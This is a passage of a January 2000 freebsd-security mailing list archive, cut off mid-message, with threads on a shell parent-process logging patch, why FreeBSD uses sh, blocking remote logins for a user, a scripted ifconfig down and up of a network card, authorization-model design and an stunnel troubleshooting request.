Unsubscribe: send mail to majordomo@FreeBSD.org > > > with "unsubscribe freebsd-security" in the body of the message > > > > > > > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > > with "unsubscribe freebsd-security" in the body of the message > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Jan 16 14:29:46 2000 Delivered-To: freebsd-security@freebsd.org Received: from pluto.psn.net (pluto.psn.net [207.211.58.12]) by hub.freebsd.org (Postfix) with ESMTP id D289A14F31 for ; Sun, 16 Jan 2000 14:29:43 -0800 (PST) (envelope-from will@shadow.blackdawn.com) Received: from 22-084.008.popsite.net ([209.69.197.84] helo=shadow.blackdawn.com) by pluto.psn.net with esmtp (PSN Internet Service 3.12 #1) id 129yAy-0006SU-00; Sun, 16 Jan 2000 15:29:36 -0700 Received: (from will@localhost) by shadow.blackdawn.com (8.9.3/8.9.3) id RAA51388; Sun, 16 Jan 2000 17:29:30 -0500 (EST) (envelope-from will) Message-ID: X-Mailer: XFMail 1.3.1 [p0] on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: Date: Sun, 16 Jan 2000 17:29:30 -0500 (EST) Reply-To: Will Andrews From: Will Andrews To: Omachonu Ogali Subject: RE: Parent Logging Patch for sh(1) Cc: freebsd-security@FreeBSD.ORG Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On 16-Jan-00 Omachonu Ogali wrote: > I thought it would benefit those who are security minded. Why shouldn't I > have posted it? How does it help to log the PPID + name of the file? What prompted you to do this sort of thing? -- Will Andrews GCS/E/S @d- s+:+>+:- a--->+++ C++ UB++++ P+ L- E--- W+++ !N !o ?K w--- ?O M+ V-- PS+ PE++ Y+ PGP+>+++ t++ 5 X++ R+ tv+ b++>++++ DI+++ D+ G++>+++ e->++++ h! r-->+++ y? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Jan 16 15:14:21 2000 Delivered-To: freebsd-security@freebsd.org Received: from intranova.net (blacklisted.intranova.net [209.3.31.70]) by hub.freebsd.org (Postfix) with SMTP id 12F7614EF7 for ; Sun, 16 Jan 2000 15:14:18 -0800 (PST) (envelope-from oogali@intranova.net) Received: (qmail 9269 invoked from network); 16 Jan 2000 18:16:22 -0000 Received: from hydrant.intranova.net (user23902@209.201.95.10) by blacklisted.intranova.net with SMTP; 16 Jan 2000 18:16:22 -0000 Date: Sun, 16 Jan 2000 18:11:33 -0500 (EST) From: Omachonu Ogali To: Will Andrews Cc: freebsd-security@FreeBSD.ORG Subject: RE: Parent Logging Patch for sh(1) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org It becomes helpful when you're backtracking the origin of an intrusion. I'm logging the parent PID and name that executed 'sh' and there's a second version that adds a deny list. Omachonu Ogali Intranova Networking Group On Sun, 16 Jan 2000, Will Andrews wrote: > On 16-Jan-00 Omachonu Ogali wrote: > > I thought it would benefit those who are security minded. Why shouldn't I > > have posted it? > > How does it help to log the PPID + name of the file? What prompted you to do > this sort of thing? > > -- > Will Andrews > GCS/E/S @d- s+:+>+:- a--->+++ C++ UB++++ P+ L- E--- W+++ !N !o ?K w--- > ?O M+ V-- PS+ PE++ Y+ PGP+>+++ t++ 5 X++ R+ tv+ b++>++++ DI+++ D+ > G++>+++ e->++++ h! r-->+++ y? > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-security" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Jan 16 16: 3:21 2000 Delivered-To: freebsd-security@freebsd.org Received: from revelex.com (revelex.com [207.61.176.194]) by hub.freebsd.org (Postfix) with ESMTP id A4C5614A27 for ; Sun, 16 Jan 2000 16:03:18 -0800 (PST) (envelope-from jonf@revelex.com) Received: from localhost (jonf@localhost) by revelex.com (8.9.3/8.9.3) with ESMTP id SAA09438 for ; Sun, 16 Jan 2000 18:59:13 -0500 (EST) Date: Sun, 16 Jan 2000 18:59:13 -0500 (EST) From: Jonathan Fortin To: freebsd-security@freebsd.org Subject: sh? Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org q most ppl use zsh/bash/csh. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Jan 16 16: 5:15 2000 Delivered-To: freebsd-security@freebsd.org Received: from revelex.com (revelex.com [207.61.176.194]) by hub.freebsd.org (Postfix) with ESMTP id 0B18C14CC4 for ; Sun, 16 Jan 2000 16:05:14 -0800 (PST) (envelope-from jonf@revelex.com) Received: from localhost (jonf@localhost) by revelex.com (8.9.3/8.9.3) with ESMTP id TAA22630 for ; Sun, 16 Jan 2000 19:01:10 -0500 (EST) Date: Sun, 16 Jan 2000 19:01:10 -0500 (EST) From: Jonathan Fortin To: freebsd-security@freebsd.org Subject: sysctl/ioctl. Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org I was wondering how can i make my ethernet card shutdown when its reiceiving lots of packets, and put my ethernet card backup after 10 minutes? Respecfully, -jon To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Jan 16 16:21: 8 2000 Delivered-To: freebsd-security@freebsd.org Received: from mail1.uunet.ca (mail1.uunet.ca [209.167.141.3]) by hub.freebsd.org (Postfix) with ESMTP id 5DEA41517A for ; Sun, 16 Jan 2000 16:21:03 -0800 (PST) (envelope-from matt@ARPA.MAIL.NET) Received: from w01.arpa-canada.net ([216.95.146.6]) by mail1.uunet.ca with ESMTP id <217806-20094>; Sun, 16 Jan 2000 19:10:13 -0500 Date: Sun, 16 Jan 2000 19:10:11 -0500 From: matt X-Sender: matt@w01.arpa-canada.net To: Jonathan Fortin Cc: freebsd-security@freebsd.org Subject: Re: sysctl/ioctl. In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org You could do "ifconfig down" (example ifconfig ed0 down) then 10 minutes later, "ifconfig up" Not ideal, but manual, one could probably write a script to tie in with something to do this... Matt On Sun, 16 Jan 2000, Jonathan Fortin wrote: : Date: Sun, 16 Jan 2000 19:01:10 -0500 : From: Jonathan Fortin : To: freebsd-security@freebsd.org : Subject: sysctl/ioctl. : : : I was wondering how can i make my ethernet card shutdown when its : reiceiving lots of packets, and put my ethernet card backup after 10 : minutes? : : Respecfully, : : -jon : : : : To Unsubscribe: send mail to majordomo@FreeBSD.org : with "unsubscribe freebsd-security" in the body of the message : To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Jan 16 16:27: 7 2000 Delivered-To: freebsd-security@freebsd.org Received: from pawn.primelocation.net (pawn.primelocation.net [205.161.238.235]) by hub.freebsd.org (Postfix) with ESMTP id 90B51150BB for ; Sun, 16 Jan 2000 16:27:05 -0800 (PST) (envelope-from cdf.lists@fxp.org) Received: by pawn.primelocation.net (Postfix, from userid 1016) id 56DA59B6E; Sun, 16 Jan 2000 19:27:00 -0500 (EST) Received: from localhost (localhost [127.0.0.1]) by pawn.primelocation.net (Postfix) with ESMTP id 46ADFBA0C; Sun, 16 Jan 2000 19:27:00 -0500 (EST) Date: Sun, 16 Jan 2000 19:27:00 -0500 (EST) From: "Chris D. Faulhaber" X-Sender: cdf.lists@pawn.primelocation.net To: Jonathan Fortin Cc: freebsd-security@freebsd.org Subject: Re: sh? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Sun, 16 Jan 2000, Jonathan Fortin wrote: > > q most ppl use zsh/bash/csh. > Please state your question in the form of a question. ----- Chris D. Faulhaber - jedgar@fxp.org - jedgar@FreeBSD.org -------------------------------------------------------- FreeBSD: The Power To Serve - http://www.FreeBSD.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Jan 16 16:50:17 2000 Delivered-To: freebsd-security@freebsd.org Received: from fw.wintelcom.net (ns1.wintelcom.net [209.1.153.20]) by hub.freebsd.org (Postfix) with ESMTP id DBCCD1516E for ; Sun, 16 Jan 2000 16:50:15 -0800 (PST) (envelope-from bright@fw.wintelcom.net) Received: (from bright@localhost) by fw.wintelcom.net (8.9.3/8.9.3) id RAA18014; Sun, 16 Jan 2000 17:12:49 -0800 (PST) Date: Sun, 16 Jan 2000 17:12:49 -0800 From: Alfred Perlstein To: "Chris D. Faulhaber" Cc: Jonathan Fortin , freebsd-security@FreeBSD.ORG Subject: Re: sh? Message-ID: <20000116171249.L508@fw.wintelcom.net> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0i In-Reply-To: ; from jedgar@fxp.org on Sun, Jan 16, 2000 at 07:27:00PM -0500 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org * Chris D. Faulhaber [000116 16:51] wrote: > On Sun, 16 Jan 2000, Jonathan Fortin wrote: > > > > > q most ppl use zsh/bash/csh. > > > > Please state your question in the form of a question. I think he wants to know why we use 'sh' instead of one of the more popular shells. Just FYI csh _is_ available in the base system as /bin/csh, and we use our 'sh' because afaik it's the only thing available under BSDL that satisfies our standards. zsh would be nifty (BSDL + 'sh like') but afaik it doesn't aim to be a complete 'sh' replacement. -Alfred To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Jan 16 18:48:10 2000 Delivered-To: freebsd-security@freebsd.org Received: from cc942873-a.ewndsr1.nj.home.com (cc942873-a.ewndsr1.nj.home.com [24.2.89.207]) by hub.freebsd.org (Postfix) with ESMTP id 8960314EF7 for ; Sun, 16 Jan 2000 18:48:07 -0800 (PST) (envelope-from cjc@cc942873-a.ewndsr1.nj.home.com) Received: (from cjc@localhost) by cc942873-a.ewndsr1.nj.home.com (8.9.3/8.9.3) id VAA60331; Sun, 16 Jan 2000 21:48:40 -0500 (EST) (envelope-from cjc) Date: Sun, 16 Jan 2000 21:48:39 -0500 From: "Crist J. Clark" To: Omachonu Ogali Cc: Jonathan Fortin , cjclark@home.com, Dan Harnett , Nicholas Brawn , freebsd-security@FreeBSD.ORG Subject: Re: Disallow remote login by regular user. Message-ID: <20000116214839.A60295@cc942873-a.ewndsr1.nj.home.com> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0i In-Reply-To: ; from oogali@intranova.net on Sun, Jan 16, 2000 at 12:58:05PM -0500 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Sun, Jan 16, 2000 at 12:58:05PM -0500, Omachonu Ogali wrote: > If you add it to /etc/shells then it allows an user to login via FTP since > the FTP daemon checks to see if the users shell returned by > getpwnam()/getpwuid() exists in /etc/shells, if it does then it allows a > successful connection/login, and this is what he wants to prevent. Yep. You then need to add the user to /etc/ftpusers (if ftp is enabled at all). But whatever shell you give the account, it does need to be in /etc/shells for non-root users to su to it, which is how the original poster wanted people to gain access. > On Sat, 15 Jan 2000, Jonathan Fortin wrote: > > > > > Hello, > > > > You could also set the users shell to /bin/false and add it in /etc/shells > > and use the -m option. > > > > > > jonf@revelex.com > > > > On Sat, 15 Jan 2000, Crist J. Clark wrote: > > > > > Dan Harnett wrote, > > > > Hello, > > > > > > > > You could also set this particular user's shell to /sbin/nologin and make the > > > > others use the -m option to su. > > > > > > But if you do this, remember, > > > > > > -m Leave the environment unmodified. The invoked shell is your lo- > > > gin shell, and no directory changes are made. As a security pre- > > > caution, if the target user's shell is a non-standard shell (as > > > defined by getusershell(3)) and the caller's real uid is non-ze- > > > ro, su will fail. > > > > > > You have to add '/sbin/nologin' to /etc/shells. -- Crist J. Clark cjclark@home.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Jan 17 2:55: 0 2000 Delivered-To: freebsd-security@freebsd.org Received: from zeta.qmw.ac.uk (zeta.qmw.ac.uk [138.37.6.6]) by hub.freebsd.org (Postfix) with ESMTP id 1DE9914C1A for ; Mon, 17 Jan 2000 02:54:53 -0800 (PST) (envelope-from d.m.pick@qmw.ac.uk) Received: from xi.css.qmw.ac.uk ([138.37.8.11]) by zeta.qmw.ac.uk with esmtp (Exim 3.02 #1) id 12A9mt-0000BB-00; Mon, 17 Jan 2000 10:53:32 +0000 Received: from cgaa180 by xi.css.qmw.ac.uk with local (Exim 1.92 #1) id 12A9mq-0007j9-00; Mon, 17 Jan 2000 10:53:28 +0000 X-Mailer: exmh version 2.0.2 2/24/98 To: Mark Newton , Robert Watson Cc: freebsd-security@FreeBSD.ORG Subject: Re: Restructuring authorization checks to facilitate new security models In-reply-to: Your message of "Sat, 15 Jan 2000 16:13:34 +1030." <20000115161334.F767@atdot.dotat.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Mon, 17 Jan 2000 10:53:28 +0000 From: David Pick Message-Id: Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Quoting Mark: > > The subject/object model looks reasonable, but I suspect that some > > operations will turn out to have more than one object operand; for > > example a user/process (subject) mounting (operation) a file system > > (object) at a particular place in the already mounted filesystem > > (second object). > > It strikes me that that example represents at least three separate > sequential authorization checks, not a single authorization check which > needs to work on three subjects. > > Not to say that other stronger examples mightn't exist, but this > doesn't appear to be one of them. Robert made a similar point; if you look at the question one way I'd agree: 1) is this subject allowed to mount this filesystem somewhere? 2) is this subject allowed to mount something at this point? but this doesn't allow for the question: 3) is this subject allowed to mount this filesystem at this point? because asking (1) and (2) separately doesn't allow for any permission relationship between the filesystem and the place where it is being mounted. Again, the relationship might be expressable as two separate relationships in an isoloated case but not if you want to allow a user to mount one filesystem in one place and another in another, but not the first filesystem in the second place or the second file system in the first place. There might be practical cases when the filesystems being mounted correspond to exchangeable devices in one case and fixed devices in the other. Other possibilities are the ability to attach specific serial devices to specific network interfaces especially when firewall rules are involved which specify different behavious on different network interfaces. Now, of course, if is possible to have composite "subject" or "object" "object"s which "point to" more than one "object", and then we can get back to binary relationships. If Robert's suggestions for using rather generic operations get used this will almost certainly be the case. I'm beginning to think (as I'm writing this!) that there might be two different answers to the question for the implementation and for the user/manager interfaces. Hmmmm......... -- David Pick To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Jan 17 2:58:46 2000 Delivered-To: freebsd-security@freebsd.org Received: from axl.noc.iafrica.com (axl.noc.iafrica.com [196.31.1.175]) by hub.freebsd.org (Postfix) with ESMTP id EFE2F14BF3 for ; Mon, 17 Jan 2000 02:58:38 -0800 (PST) (envelope-from sheldonh@axl.noc.iafrica.com) Received: from sheldonh (helo=axl.noc.iafrica.com) by axl.noc.iafrica.com with local-esmtp (Exim 3.11 #1) id 12A9rW-00082G-00; Mon, 17 Jan 2000 12:58:18 +0200 From: Sheldon Hearn To: Omachonu Ogali Cc: freebsd-security@FreeBSD.ORG Subject: Re: Parent Logging Patch for sh(1) In-reply-to: Your message of "Sun, 16 Jan 2000 13:04:52 EST." Date: Mon, 17 Jan 2000 12:58:18 +0200 Message-ID: <30891.948106698@axl.noc.iafrica.com> Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Sun, 16 Jan 2000 13:04:52 EST, Omachonu Ogali wrote: > After applied, sh(1) will log the parent process ID and name that executed > it into syslog. Assuming you're doing this to provide security-related information, consider Andrzej Bialecki's spy(4) interface, available from: http://www.freebsd.org/~abial/spy-0.1.tgz I think you'll find that it does a much more comprehensive job of what you're trying to do. You can pick up a copy of the manpage at: http://www.freebsd.org/~sheldonh/spy.4 Ciao, Sheldon. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Jan 17 3:16: 7 2000 Delivered-To: freebsd-security@freebsd.org Received: from axl.noc.iafrica.com (axl.noc.iafrica.com [196.31.1.175]) by hub.freebsd.org (Postfix) with ESMTP id 745EC14BF3 for ; Mon, 17 Jan 2000 03:16:03 -0800 (PST) (envelope-from sheldonh@axl.noc.iafrica.com) Received: from sheldonh (helo=axl.noc.iafrica.com) by axl.noc.iafrica.com with local-esmtp (Exim 3.11 #1) id 12AA7z-0008GZ-00; Mon, 17 Jan 2000 13:15:19 +0200 From: Sheldon Hearn To: Jonathan Fortin Cc: freebsd-security@FreeBSD.ORG Subject: Re: sysctl/ioctl. In-reply-to: Your message of "Sun, 16 Jan 2000 19:01:10 EST." Date: Mon, 17 Jan 2000 13:15:19 +0200 Message-ID: <31778.948107719@axl.noc.iafrica.com> Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Sun, 16 Jan 2000 19:01:10 EST, Jonathan Fortin wrote: > I was wondering how can i make my ethernet card shutdown when its > reiceiving lots of packets, and put my ethernet card backup after 10 > minutes? Using the ifconfig(8) and at(1) commands. For example, ifconfig ed0 down echo ifconfig ed0 up | at now + 10 minutes In future, please post questions like this (general usage questions) to the freebsd-questions mailing list. Ciao, Sheldon. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Jan 17 5:47:32 2000 Delivered-To: freebsd-security@freebsd.org Received: from intranova.net (blacklisted.intranova.net [209.3.31.70]) by hub.freebsd.org (Postfix) with SMTP id B5B7A14D28 for ; Mon, 17 Jan 2000 05:47:29 -0800 (PST) (envelope-from oogali@intranova.net) Received: (qmail 86783 invoked from network); 17 Jan 2000 08:49:38 -0000 Received: from hydrant.intranova.net (user56686@209.201.95.10) by blacklisted.intranova.net with SMTP; 17 Jan 2000 08:49:38 -0000 Date: Mon, 17 Jan 2000 08:44:44 -0500 (EST) From: Omachonu Ogali To: Jonathan Fortin Cc: freebsd-security@freebsd.org Subject: Re: sh? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Most of the exploits out there use /bin/sh to launch attacks. Omachonu Ogali Intranova Networking Group On Sun, 16 Jan 2000, Jonathan Fortin wrote: > > q most ppl use zsh/bash/csh. > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-security" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Jan 17 5:52: 7 2000 Delivered-To: freebsd-security@freebsd.org Received: from intranova.net (blacklisted.intranova.net [209.3.31.70]) by hub.freebsd.org (Postfix) with SMTP id 0824E14BC9 for ; Mon, 17 Jan 2000 05:52:05 -0800 (PST) (envelope-from oogali@intranova.net) Received: (qmail 88620 invoked from network); 17 Jan 2000 08:54:14 -0000 Received: from hydrant.intranova.net (user2910@209.201.95.10) by blacklisted.intranova.net with SMTP; 17 Jan 2000 08:54:14 -0000 Date: Mon, 17 Jan 2000 08:49:21 -0500 (EST) From: Omachonu Ogali To: Sheldon Hearn Cc: Jonathan Fortin , freebsd-security@FreeBSD.ORG Subject: Re: sysctl/ioctl. In-Reply-To: <31778.948107719@axl.noc.iafrica.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org He wants to know how to shut it down for 10 minutes _after_ receiving a lot of packets, not how to bring it up and down every 10 minutes. Would a script and SNMP work for him? Omachonu Ogali Intranova Networking Group On Mon, 17 Jan 2000, Sheldon Hearn wrote: > > > On Sun, 16 Jan 2000 19:01:10 EST, Jonathan Fortin wrote: > > > I was wondering how can i make my ethernet card shutdown when its > > reiceiving lots of packets, and put my ethernet card backup after 10 > > minutes? > > Using the ifconfig(8) and at(1) commands. For example, > > ifconfig ed0 down > echo ifconfig ed0 up | at now + 10 minutes > > In future, please post questions like this (general usage questions) to > the freebsd-questions mailing list. > > Ciao, > Sheldon. > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-security" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Jan 17 7:53:28 2000 Delivered-To: freebsd-security@freebsd.org Received: from cichlids.com (pC19F54B2.dip0.t-ipconnect.de [193.159.84.178]) by hub.freebsd.org (Postfix) with ESMTP id 8919614E48 for ; Mon, 17 Jan 2000 07:53:20 -0800 (PST) (envelope-from alex@cichlids.com) Received: from cichlids.cichlids.com (cichlids.cichlids.com [192.168.0.10]) by cichlids.com (Postfix) with ESMTP id 7793CAB98; Mon, 17 Jan 2000 16:53:29 +0100 (CET) Received: (from alex@localhost) by cichlids.cichlids.com (8.9.3/8.9.3) id QAA06219; Mon, 17 Jan 2000 16:53:25 +0100 (CET) (envelope-from alex) Date: Mon, 17 Jan 2000 16:53:25 +0100 From: Alexander Langer To: Omachonu Ogali Cc: Jonathan Fortin , freebsd-security@FreeBSD.ORG Subject: Re: sh? Message-ID: <20000117165325.C5975@cichlids.cichlids.com> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0i In-Reply-To: ; from oogali@intranova.net on Mon, Jan 17, 2000 at 08:44:44AM -0500 X-PGP-Fingerprint: 44 28 CA 4C 46 5B D3 A8 A8 E3 BA F3 4E 60 7D 7F X-Verwirrung: Dieser Header dient der allgemeinen Verwirrung. Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Thus spake Omachonu Ogali (oogali@intranova.net): > Most of the exploits out there use /bin/sh to launch attacks. On FreeBSD? Alex -- I doubt, therefore I might be. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Jan 17 8: 3:19 2000 Delivered-To: freebsd-security@freebsd.org Received: from cc942873-a.ewndsr1.nj.home.com (cc942873-a.ewndsr1.nj.home.com [24.2.89.207]) by hub.freebsd.org (Postfix) with ESMTP id 621C614EC1 for ; Mon, 17 Jan 2000 08:03:12 -0800 (PST) (envelope-from cjc@cc942873-a.ewndsr1.nj.home.com) Received: (from cjc@localhost) by cc942873-a.ewndsr1.nj.home.com (8.9.3/8.9.3) id LAA62360 for freebsd-security@freebsd.org; Mon, 17 Jan 2000 11:07:48 -0500 (EST) (envelope-from cjc) Date: Mon, 17 Jan 2000 11:07:48 -0500 From: "Crist J. Clark" To: freebsd-security@freebsd.org Subject: [cjc@cc942873-a.ewndsr1.nj.home.com: stunnel Works in Foreground, Not in BG] Message-ID: <20000117110748.C62078@cc942873-a.ewndsr1.nj.home.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0i Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org I originally sent this to -questions, but after a deafening silence, I thought someone here might have some experience with stunnel(8) and have some idea of what might be going on. Thanks. ----- Forwarded message from "Crist J. Clark" ----- From: "Crist J. Clark" Subject: stunnel Works in Foreground, Not in BG To: stunnel-users@mike.daewoo.com.pl, freebsd-questions@FreeBSD.ORG (FreeBSD Questions) Date: Sat, 15 Jan 2000 22:08:21 -0500 (EST) Reply-To: cjclark@home.com I'm having an odd problem with stunnel. I have just installed in on a FreeBSD 2.2.8 machine. For testing, I am doing an IMAP connection. It seems to work fine if I run stunnel in the foreground, # /usr/local/sbin/stunnel -f -d 993 -l /usr/local/libexec/imapd imapd LOG5[23152:0]: stunnel 3.4a on i386--freebsd2.2.8 FORK LOG5[23154:0]: imapd connected from 24.2.89.207:2775 ^C I can connect to the server and access everything fine. But if I run it in the background, I get these in my server's syslog, Jan 15 21:37:20 newmail stunnel[23141]: stunnel 3.4a on i386--freebsd2.2.8 FORK Jan 15 21:37:35 newmail stunnel[23146]: imapd connected from 24.2.89.207:2772 Jan 15 21:37:37 newmail stunnel[23146]: Connection closed: 56 bytes sent to SSL, 0 bytes sent to socket And the IMAP client reports the server disconnected. Only difference that I can tell is running in background versus foreground... but why should that change things? Thanks. -- Crist J. Clark cjclark@home.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message ----- End forwarded message ----- -- Crist J. Clark cjclark@home.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Jan 17 11:31: 0 2000 Delivered-To: freebsd-security@freebsd.org Received: from intranova.net (blacklisted.intranova.net [209.3.31.70]) by hub.freebsd.org (Postfix) with SMTP id CA56314FBD for ; Mon, 17 Jan 2000 11:30:55 -0800 (PST) (envelope-from oogali@intranova.net) Received: (qmail 78901 invoked from network); 17 Jan 2000 14:33:03 -0000 Received: from hydrant.intranova.net (user20884@209.201.95.10) by blacklisted.intranova.net with SMTP; 17 Jan 2000 14:33:03 -0000 Date: Mon, 17 Jan 2000 14:28:07 -0500 (EST) From: Omachonu Ogali To: Alexander Langer Cc: Jonathan Fortin , freebsd-security@FreeBSD.ORG Subject: Re: sh? In-Reply-To: <20000117165325.C5975@cichlids.cichlids.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On all systems. Take a look at some shellcode in the most recent exploits, they either bind /bin/sh to a port via inetd or execute some program using /bin/sh. Omachonu Ogali Intranova Networking Group On Mon, 17 Jan 2000, Alexander Langer wrote: > Thus spake Omachonu Ogali (oogali@intranova.net): > > > Most of the exploits out there use /bin/sh to launch attacks. > > On FreeBSD? > > Alex > > -- > I doubt, therefore I might be. > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Jan 17 11:40: 5 2000 Delivered-To: freebsd-security@freebsd.org Received: from aeon.ineocom.com (station139.ispdeveloper.com [207.245.22.139]) by hub.freebsd.org (Postfix) with ESMTP id E41E214D1B for ; Mon, 17 Jan 2000 11:39:52 -0800 (PST) (envelope-from scarr@ineocom.com) Received: by aeon.ineocom.com (Postfix, from userid 1000) id 348C11F29; Mon, 17 Jan 2000 14:39:53 -0500 (EST) Received: from localhost (localhost [127.0.0.1]) by aeon.ineocom.com (Postfix) with ESMTP id 2FC329B36; Mon, 17 Jan 2000 14:39:53 -0500 (EST) Date: Mon, 17 Jan 2000 14:39:53 -0500 (EST) From: scarr To: Omachonu Ogali Cc: Alexander Langer , Jonathan Fortin , freebsd-security@FreeBSD.ORG Subject: Re: sh? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org I think this is mostly because /bin/sh is known to always be there, no matter what unix-like system you're using. I know when I'm writing a shell script that needs to be ultimately portable I use /bin/sh (as painful as it may be). If you're going to write a shell script in bash or ksh you're gambling on the fact that they system in question has it installed. Of course, there could be other factors. Does anyone know if sh is used for these types of things for any other reason than portability? On Mon, 17 Jan 2000, Omachonu Ogali wrote: > On all systems. > > Take a look at some shellcode in the most recent exploits, they either > bind /bin/sh to a port via inetd or execute some program using /bin/sh. > > Omachonu Ogali > Intranova Networking Group > > On Mon, 17 Jan 2000, Alexander Langer wrote: > > > Thus spake Omachonu Ogali (oogali@intranova.net): > > > > > Most of the exploits out there use /bin/sh to launch attacks. > > > > On FreeBSD? > > > > Alex > > > > -- > > I doubt, therefore I might be. > > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-security" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Jan 17 11:41:34 2000 Delivered-To: freebsd-security@freebsd.org Received: from erouter0.it-datacntr.louisville.edu (erouter0.it-datacntr.louisville.edu [136.165.1.36]) by hub.freebsd.org (Postfix) with ESMTP id 59BE314FD8 for ; Mon, 17 Jan 2000 11:41:31 -0800 (PST) (envelope-from k.stevenson@louisville.edu) Received: from osaka.louisville.edu (osaka.louisville.edu [136.165.1.114]) by erouter0.it-datacntr.louisville.edu (Postfix) with ESMTP id 2E84124D5C; Mon, 17 Jan 2000 14:41:30 -0500 (EST) Received: by osaka.louisville.edu (Postfix, from userid 15) id 805D918613; Mon, 17 Jan 2000 14:41:29 -0500 (EST) Date: Mon, 17 Jan 2000 14:41:29 -0500 From: Keith Stevenson To: Omachonu Ogali , freebsd-security@FreeBSD.ORG Subject: Re: sh? Message-ID: <20000117144129.B85360@osaka.louisville.edu> References: <20000117165325.C5975@cichlids.cichlids.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0pre3i In-Reply-To: Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Mon, Jan 17, 2000 at 02:28:07PM -0500, Omachonu Ogali wrote: > On all systems. > > Take a look at some 